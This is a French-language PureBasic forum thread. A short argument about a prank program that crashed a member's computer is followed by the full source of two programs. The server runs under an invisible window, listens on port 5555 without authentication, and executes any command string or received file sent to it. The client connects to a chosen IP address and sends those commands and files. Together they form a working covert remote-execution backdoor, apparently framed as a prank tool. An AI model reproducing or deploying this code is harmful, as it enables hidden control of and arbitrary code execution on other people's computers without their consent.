SPH a écrit :Je prefere 1000 fois mieux un keylogger que le code malvaillant de boby !
Et si : j'en fais un plat car ca a fait planter mon ordi !!!

SPH a écrit :Je prefere 1000 fois mieux un keylogger que le code malvaillant de boby !
Et si : j'en fais un plat car ca a fait planter mon ordi !!!
Code : Tout sélectionner
Delay(10)
Code : Tout sélectionner
Delay(100)
Il me semble que le soucis c'est que Fred a vexé quelqu'un, plus que le programme de changement de couleur qu'il plante ou pas d'ailleurs.djes a écrit :On ne va pas ennuyer fred pour des gamineries.
Zorro, tu as bien fait de signaler le problème, mais ce n'était pas la peine d'en faire un plat pareil, franchement. Boby, tu peux comprendre que ça énerve d'avoir un gros plantage de son ordi.
Enfin, on ne peut pas comparer un programme qui fait une blague en changeant les couleurs, qui normalement ne fait pas grand mal (si on corrige le bug), avec un programme d'espionnage genre keylogger... On n'est pas du tout dans la même catégorie !
Bref, vous réglez vos différends, s'il en reste, par mp, et on n'en parle plus... Bien sûr, ce serait bien que boby corrige son prog aussi.
Code : Tout sélectionner
EnableExplicit
InitNetwork() : InitSound() : InitMovie()
Structure client
ID.I
PacketSize.i
ReceivedSize.i
*Data
EndStructure
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Global NewList Client.Client(), *HeaderBuffer = AllocateMemory(SizeOf(integer)), window,mp3
Declare Handler_Packet(*Data)
Declare.s MakeTempName(ext$)
Declare close()
If CreateNetworkServer(0,5555)
window = OpenWindow(#PB_Any,0,0,0,0,"",#PB_Window_Invisible)
BindEvent(#PB_Event_CloseWindow,@close())
Repeat
Select NetworkServerEvent(0)
Case #PB_NetworkEvent_None
Delay(10)
Case #PB_NetworkEvent_Data
ForEach Client()
If Client()\ID = EventClient()
Break
EndIf
Next
If Client()\PacketSize
If Client()\PacketSize - Client()\ReceivedSize > 65536
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,65536)
Else
Client()\ReceivedSize + ReceiveNetworkData(Client()\ID,Client()\Data + Client()\ReceivedSize,Client()\PacketSize - Client()\ReceivedSize)
EndIf
If Client()\ReceivedSize = Client()\PacketSize
Client()\PacketSize = 0
CreateThread(@Handler_Packet(),@Client())
EndIf
Else
ReceiveNetworkData(Client()\ID,*HeaderBuffer,SizeOf(integer))
Client()\ReceivedSize = 0
Client()\PacketSize = PeekI(*HeaderBuffer)
Client()\Data = AllocateMemory(Client()\PacketSize)
EndIf
Case #PB_NetworkEvent_Connect
AddElement(Client())
Client()\ID = EventClient()
Case #PB_NetworkEvent_Disconnect
ForEach Client()
If Client()\ID = EventClient()
If Client()\PacketSize
FreeMemory(Client()\Data)
EndIf
DeleteElement(Client())
Break
EndIf
Next
EndSelect
ForEver
EndIf
Procedure Handler_Packet(*ClientData.client)
Protected *Data = *ClientData\Data, tmpfile$, file, snd,ext$
Select PeekA(*Data)
Case #PRT_RunPrg
RunProgram(PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*Data+SizeOf(ascii))))
Case #PRT_PlaySound
snd = CatchSound(0,*Data+ SizeOf(ascii))
If snd
PlaySound(0)
EndIf
Case #PRT_OpenFile
ext$ = PeekS(*Data+SizeOf(ascii)+SizeOf(integer),PeekI(*data+SizeOf(ascii)))
Debug ext$
tmpfile$ = MakeTempName(ext$)
file = CreateFile(#PB_Any,GetTemporaryDirectory() + tmpfile$)
If file
WriteData(file,*Data+SizeOf(ascii)+SizeOf(integer)+(PeekI(*data+SizeOf(ascii))*2),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
RunProgram(GetTemporaryDirectory()+ tmpfile$,"","",#PB_Program_Wait)
DeleteFile(GetTemporaryDirectory() + tmpfile$)
EndIf
Case #PRT_PlayMp3
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
file = CreateFile(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
WriteData(file,*Data+SizeOf(ascii),MemorySize(*Data)-SizeOf(ascii))
CloseFile(file)
mp3 = LoadMovie(#PB_Any,GetTemporaryDirectory()+"zic.mp3")
If mp3
PlayMovie(mp3,WindowID(window))
EndIf
EndSelect
FreeMemory(*Data)
EndProcedure
Procedure.s MakeTempName(ext$)
Protected Result$, loop
For loop = 0 To 20
Result$ = Result$ + Str(Random(9))
Next loop
Result$ = Result$+"."+ext$
ProcedureReturn Result$
EndProcedure
Procedure close()
If IsMovie(mp3)
FreeMovie(mp3)
EndIf
If FileSize(GetTemporaryDirectory()+"zic.mp3") > 0
DeleteFile(GetTemporaryDirectory()+"zic.mp3")
EndIf
End
EndProcedure
Code : Tout sélectionner
EnableExplicit
InitNetwork()
Enumeration
#PRT_RunPrg
#PRT_PlaySound
#PRT_OpenFile
#PRT_PlayMp3
EndEnumeration
Declare close()
Declare send()
Declare connect()
Declare senddata()
Declare requestfile()
Global IP,ID,string, file$, text, *buffer = AllocateMemory(65536)
If OpenWindow(0,0,0,300,100,"",#PB_Window_ScreenCentered|#PB_Window_SystemMenu|#PB_Window_MinimizeGadget)
IP = IPAddressGadget(#PB_Any,10,10,200,20)
ButtonGadget(0,220,10,70,20,"Connexion")
string = StringGadget(#PB_Any,10,40,200,20,"")
ButtonGadget(1,220,40,70,20,"Envoi")
text = TextGadget(#PB_Any,10,70,170,20,"",#PB_Text_Border)
ButtonGadget(2,190,70,20,20,"...")
ButtonGadget(3,220,70,70,20,"Envoi")
BindEvent(#PB_Event_CloseWindow,@close())
BindGadgetEvent(0,@connect())
BindGadgetEvent(1,@send())
BindGadgetEvent(2,@requestfile())
BindGadgetEvent(3,@senddata())
DisableGadget(1,1) : DisableGadget(2,1) : DisableGadget(3,1)
EndIf
Repeat : WaitWindowEvent() : ForEver
Procedure close()
End
EndProcedure
Procedure connect()
ID = OpenNetworkConnection(GetGadgetText(IP),5555)
If ID
MessageRequester("Connexion","Connexion OK")
DisableGadget(1,0) : DisableGadget(2,0)
Else
MessageRequester("Connexion","Connexion échoué")
DisableGadget(1,1) : DisableGadget(2,1)
EndIf
EndProcedure
Procedure send()
Protected size = Len(GetGadgetText(string))*2
PokeI(*buffer,size+SizeOf(ascii)+SizeOf(integer))
PokeA(*buffer+SizeOf(integer),#PRT_RunPrg)
PokeI(*buffer+SizeOf(integer)+SizeOf(ascii),Len(GetGadgetText(string)))
PokeS(*buffer+SizeOf(integer)+SizeOf(ascii)+SizeOf(integer),GetGadgetText(string))
SendNetworkData(ID,*buffer,SizeOf(integer)+SizeOf(ascii)+SizeOf(integer)+size)
SetGadgetText(string,"")
EndProcedure
Procedure requestfile()
Protected tmpfile$
tmpfile$ = OpenFileRequester("Ouvrir",GetCurrentDirectory(),"",1)
If tmpfile$
file$ = tmpfile$
DisableGadget(3,0)
SetGadgetText(text,file$)
Else
file$ = ""
SetGadgetText(text,"")
DisableGadget(3,1)
EndIf
EndProcedure
Procedure senddata()
Protected file, size, datasend, send,*data
file = ReadFile(#PB_Any,file$)
If file
size = FileSize(file$)
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
If GetExtensionPart(file$) = "wav"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlaySound)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
ElseIf GetExtensionPart(file$) = "mp3"
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer))
PokeI(*data,size + SizeOf(ascii))
PokeA(*data + SizeOf(integer),#PRT_PlayMp3)
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer),size)
size + SizeOf(ascii) + SizeOf(integer)
Else
*data = AllocateMemory(size + SizeOf(ascii) + SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeI(*data,size + SizeOf(ascii)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2))
PokeA(*data + SizeOf(integer),#PRT_OpenFile)
PokeI(*data+SizeOf(ascii)+SizeOf(integer),Len(GetExtensionPart(file$)))
PokeS(*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer),GetExtensionPart(file$))
ReadData(file,*data+SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+Len(GetExtensionPart(file$))*2,size)
size +SizeOf(ascii)+SizeOf(integer)+SizeOf(integer)+(Len(GetExtensionPart(file$))*2)
EndIf
CloseFile(file)
Repeat
If size - datasend > 65536
send = SendNetworkData(ID,*data+datasend,65536)
If send > 0 : datasend + send : EndIf
Else
send = SendNetworkData(ID,*data+datasend,size - datasend)
If send > 0 : datasend + send : EndIf
EndIf
Until datasend = size
SetGadgetText(text,"")
FreeMemory(*data)
EndIf
EndProcedure